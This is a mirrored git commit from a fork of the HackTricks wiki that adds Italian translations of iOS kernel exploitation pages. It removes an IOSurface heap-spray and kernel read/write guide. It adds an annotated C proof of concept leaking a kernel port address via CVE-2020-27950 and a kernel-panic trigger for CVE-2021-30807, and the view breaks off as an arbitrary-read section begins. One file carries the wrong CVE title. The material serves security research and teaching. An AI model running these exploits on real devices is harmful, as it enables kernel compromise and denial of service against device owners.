maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMob

Browse Source
This commit is contained in:
Translator 2025-09-26 00:48:42 +00:00
parent 881627cfd1
commit baaa93b004
26 changed files with 2969 additions and 1613 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
src/SUMMARY.md
View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

208
src/binary-exploitation/ios-exploiting.md
View File

@ -1,208 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Uso fisico dopo la liberazione
Questo è un riassunto del post da [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) inoltre ulteriori informazioni su come sfruttare questa tecnica possono essere trovate in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Gestione della memoria in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Lo **spazio degli indirizzi di memoria virtuale** per i processi utente su iOS va da **0x0 a 0x8000000000**. Tuttavia, questi indirizzi non mappano direttamente alla memoria fisica. Invece, il **kernel** utilizza **tabelle delle pagine** per tradurre gli indirizzi virtuali in **indirizzi fisici** reali.
#### Livelli delle Tabelle delle Pagine in iOS
Le tabelle delle pagine sono organizzate gerarchicamente in tre livelli:
1. **Tabella delle Pagine L1 (Livello 1)**:
* Ogni voce qui rappresenta un ampio intervallo di memoria virtuale.
* Copre **0x1000000000 byte** (o **256 GB**) di memoria virtuale.
2. **Tabella delle Pagine L2 (Livello 2)**:
* Una voce qui rappresenta una regione più piccola di memoria virtuale, specificamente **0x2000000 byte** (32 MB).
* Una voce L1 può puntare a una tabella L2 se non può mappare l'intera regione da sola.
3. **Tabella delle Pagine L3 (Livello 3)**:
* Questo è il livello più fine, dove ogni voce mappa una singola pagina di memoria di **4 KB**.
* Una voce L2 può puntare a una tabella L3 se è necessario un controllo più dettagliato.
#### Mappatura della Memoria Virtuale a Fisica
* **Mappatura Diretta (Mappatura a Blocchi)**:
* Alcune voci in una tabella delle pagine **mappano direttamente un intervallo di indirizzi virtuali** a un intervallo contiguo di indirizzi fisici (come un collegamento diretto).
* **Puntatore alla Tabella delle Pagine Figlia**:
* Se è necessario un controllo più fine, una voce in un livello (ad es., L1) può puntare a una **tabella delle pagine figlia** al livello successivo (ad es., L2).
#### Esempio: Mappatura di un Indirizzo Virtuale
Supponiamo che tu provi ad accedere all'indirizzo virtuale **0x1000000000**:
1. **Tabella L1**:
* Il kernel controlla la voce della tabella delle pagine L1 corrispondente a questo indirizzo virtuale. Se ha un **puntatore a una tabella delle pagine L2**, va a quella tabella L2.
2. **Tabella L2**:
* Il kernel controlla la tabella delle pagine L2 per una mappatura più dettagliata. Se questa voce punta a una **tabella delle pagine L3**, procede lì.
3. **Tabella L3**:
* Il kernel cerca la voce finale L3, che punta all'**indirizzo fisico** della pagina di memoria effettiva.
#### Esempio di Mappatura degli Indirizzi
Se scrivi l'indirizzo fisico **0x800004000** nel primo indice della tabella L2, allora:
* Gli indirizzi virtuali da **0x1000000000** a **0x1002000000** mappano agli indirizzi fisici da **0x800004000** a **0x802004000**.
* Questa è una **mappatura a blocchi** a livello L2.
In alternativa, se la voce L2 punta a una tabella L3:
* Ogni pagina di 4 KB nell'intervallo di indirizzi virtuali **0x1000000000 -> 0x1002000000** sarebbe mappata da voci individuali nella tabella L3.
### Uso fisico dopo la liberazione
Un **uso fisico dopo la liberazione** (UAF) si verifica quando:
1. Un processo **alloca** della memoria come **leggibile e scrivibile**.
2. Le **tabelle delle pagine** vengono aggiornate per mappare questa memoria a un indirizzo fisico specifico a cui il processo può accedere.
3. Il processo **dealloca** (libera) la memoria.
4. Tuttavia, a causa di un **bug**, il kernel **dimentica di rimuovere la mappatura** dalle tabelle delle pagine, anche se segna la corrispondente memoria fisica come libera.
5. Il kernel può quindi **riallocare questa memoria fisica "liberata"** per altri scopi, come **dati del kernel**.
6. Poiché la mappatura non è stata rimossa, il processo può ancora **leggere e scrivere** in questa memoria fisica.
Questo significa che il processo può accedere a **pagine di memoria del kernel**, che potrebbero contenere dati o strutture sensibili, consentendo potenzialmente a un attaccante di **manipolare la memoria del kernel**.
### Strategia di Sfruttamento: Heap Spray
Poiché l'attaccante non può controllare quali pagine specifiche del kernel verranno allocate nella memoria liberata, utilizza una tecnica chiamata **heap spray**:
1. L'attaccante **crea un gran numero di oggetti IOSurface** nella memoria del kernel.
2. Ogni oggetto IOSurface contiene un **valore magico** in uno dei suoi campi, rendendolo facile da identificare.
3. Loro **scansionano le pagine liberate** per vedere se uno di questi oggetti IOSurface è atterrato su una pagina liberata.
4. Quando trovano un oggetto IOSurface su una pagina liberata, possono usarlo per **leggere e scrivere nella memoria del kernel**.
Ulteriori informazioni su questo in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Processo di Heap Spray Passo-Passo
1. **Spray di Oggetti IOSurface**: L'attaccante crea molti oggetti IOSurface con un identificatore speciale ("valore magico").
2. **Scansione delle Pagine Liberate**: Controllano se uno degli oggetti è stato allocato su una pagina liberata.
3. **Leggi/Scrivi nella Memoria del Kernel**: Manipolando i campi nell'oggetto IOSurface, ottengono la capacità di eseguire **letture e scritture arbitrarie** nella memoria del kernel. Questo consente loro di:
* Usare un campo per **leggere qualsiasi valore a 32 bit** nella memoria del kernel.
* Usare un altro campo per **scrivere valori a 64 bit**, ottenendo un **primitivo di lettura/scrittura del kernel** stabile.
Genera oggetti IOSurface con il valore magico IOSURFACE\_MAGIC da cercare in seguito:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Cerca oggetti **`IOSurface`** in una pagina fisica liberata:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Ottenere Read/Write del Kernel con IOSurface
Dopo aver ottenuto il controllo su un oggetto IOSurface nella memoria del kernel (mappato a una pagina fisica liberata accessibile dallo spazio utente), possiamo usarlo per **operazioni di lettura e scrittura arbitrarie nel kernel**.
**Campi Chiave in IOSurface**
L'oggetto IOSurface ha due campi cruciali:
1. **Puntatore al Conteggio di Utilizzo**: Consente una **lettura a 32 bit**.
2. **Puntatore al Timestamp Indicizzato**: Consente una **scrittura a 64 bit**.
Sovrascrivendo questi puntatori, li reindirizziamo a indirizzi arbitrari nella memoria del kernel, abilitando le capacità di lettura/scrittura.
#### Lettura del Kernel a 32 Bit
Per eseguire una lettura:
1. Sovrascrivi il **puntatore al conteggio di utilizzo** per puntare all'indirizzo target meno un offset di 0x14 byte.
2. Usa il metodo `get_use_count` per leggere il valore a quell'indirizzo.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Scrittura del Kernel a 64 Bit
Per eseguire una scrittura:
1. Sovrascrivi il **puntatore del timestamp indicizzato** all'indirizzo target.
2. Usa il metodo `set_indexed_timestamp` per scrivere un valore a 64 bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Riepilogo del Flusso di Exploit
1. **Attivare l'Uso-Fisico Dopo la Liberazione**: Le pagine liberate sono disponibili per il riutilizzo.
2. **Spray degli Oggetti IOSurface**: Allocare molti oggetti IOSurface con un "valore magico" unico nella memoria del kernel.
3. **Identificare IOSurface Accessibile**: Localizzare un IOSurface su una pagina liberata che controlli.
4. **Abusare dell'Uso-Fisico Dopo la Liberazione**: Modificare i puntatori nell'oggetto IOSurface per abilitare la lettura/scrittura arbitraria **del kernel** tramite i metodi IOSurface.
Con queste primitive, l'exploit fornisce letture **a 32 bit** e scritture **a 64 bit** controllate nella memoria del kernel. Ulteriori passaggi per il jailbreak potrebbero coinvolgere primitive di lettura/scrittura più stabili, che potrebbero richiedere di bypassare ulteriori protezioni (ad es., PPL su dispositivi arm64e più recenti).
{{#include ../banners/hacktricks-training.md}}

332
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md Normal file
View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Il bug
Hai [una ottima spiegazione della vulnerabilità qui](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), ma in sintesi:
Ogni Mach message che il kernel riceve termina con un **"trailer"**: una struct a lunghezza variabile con metadata (seqno, sender token, audit token, context, access control data, labels...). Il kernel **reserva sempre il trailer più grande possibile** (MAX_TRAILER_SIZE) nel buffer del messaggio, ma **inizializza solo alcuni campi**, poi **decide quale dimensione del trailer restituire** in base alle **opzioni di receive controllate dall'utente**.
Queste sono le struct del trailer rilevanti:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Quindi, quando l'oggetto trailer viene generato, solo alcuni campi sono inizializzati, e la dimensione massima del trailer è sempre riservata:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Quindi, per esempio, quando si prova a leggere un mach message usando `mach_msg()` la funzione `ipc_kmsg_add_trailer()` viene chiamata per appendere il trailer al messaggio. All'interno di questa funzione la dimensione del trailer viene calcolata e alcuni altri campi del trailer vengono impostati:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
Il parametro `option` è controllato dall'utente, quindi **è necessario fornire un valore che superi il controllo `if`.**
Per superare questo controllo dobbiamo inviare un `option` valido e supportato:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Ma, perché il `MACH_RCV_TRAILER_MASK` sta solo controllando i bit, possiamo passare qualsiasi valore tra `0` e `8` per non entrare nell'istruzione `if`.
Poi, proseguendo con il codice puoi trovare:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Come puoi vedere, se il `option` è maggiore o uguale a `MACH_RCV_TRAILER_AV` (7), il campo **`msgh_ad`** viene inizializzato a `0`.
Se ci fai caso, **`msgh_ad`** era ancora l'unico campo del trailer che non era stato inizializzato prima e che poteva contenere un leak proveniente da memoria precedentemente utilizzata.
Quindi, il modo per evitare di inizializzarlo è passare un valore di `option` pari a `5` o `6`, in modo da superare il primo controllo `if` e non entrare nell'`if` che inizializza `msgh_ad`, perché i valori `5` e `6` non hanno alcun tipo di trailer associato.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
Sono stati aggiunti commenti per una migliore comprensione:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Riferimenti
- [Synacktiv's blog post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

297
src/binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md Normal file
View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## La vulnerabilità
Hai una [ottima spiegazione della vulnerabilità qui](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), ma come riepilogo:
- Il percorso di codice vulnerabile è il **metodo esterno #83** del client utente **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Questo metodo riceve un parametro controllato dall'utente che non viene verificato in alcun modo e che viene passato alla funzione successiva come **`scalar0`**.
- Quel metodo inoltra a **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, dove **`scalar0`** (un valore **32-bit** controllato dall'utente) è usato come **indice** in un **array interno di puntatori** senza **alcun controllo dei limiti**:
> `ptr = *(this + 0xA58 + scalar0 * 8);` → passato a `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` come **`IOSurface*`**.\
> **Risultato:** **OOB pointer read & type confusion** su quell'array. Se il puntatore non è valido, la dereferenziazione nel kernel provoca un panic → **DoS**.
> [!NOTE]
> Questo è stato corretto in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
> [!WARNING]
> La funzione iniziale per chiamare `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` è protetta dall'entitlement **`com.apple.private.allow-explicit-graphics-priority`**. Tuttavia, **WebKit.WebContent** possiede questo entitlement, quindi può essere usato per innescare la vulnerabilità da un processo sandboxed.
## DoS PoC
Di seguito il PoC DoS iniziale dal post originale del blog con commenti aggiuntivi:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC spiegato
1. **Aprire il user client giusto**
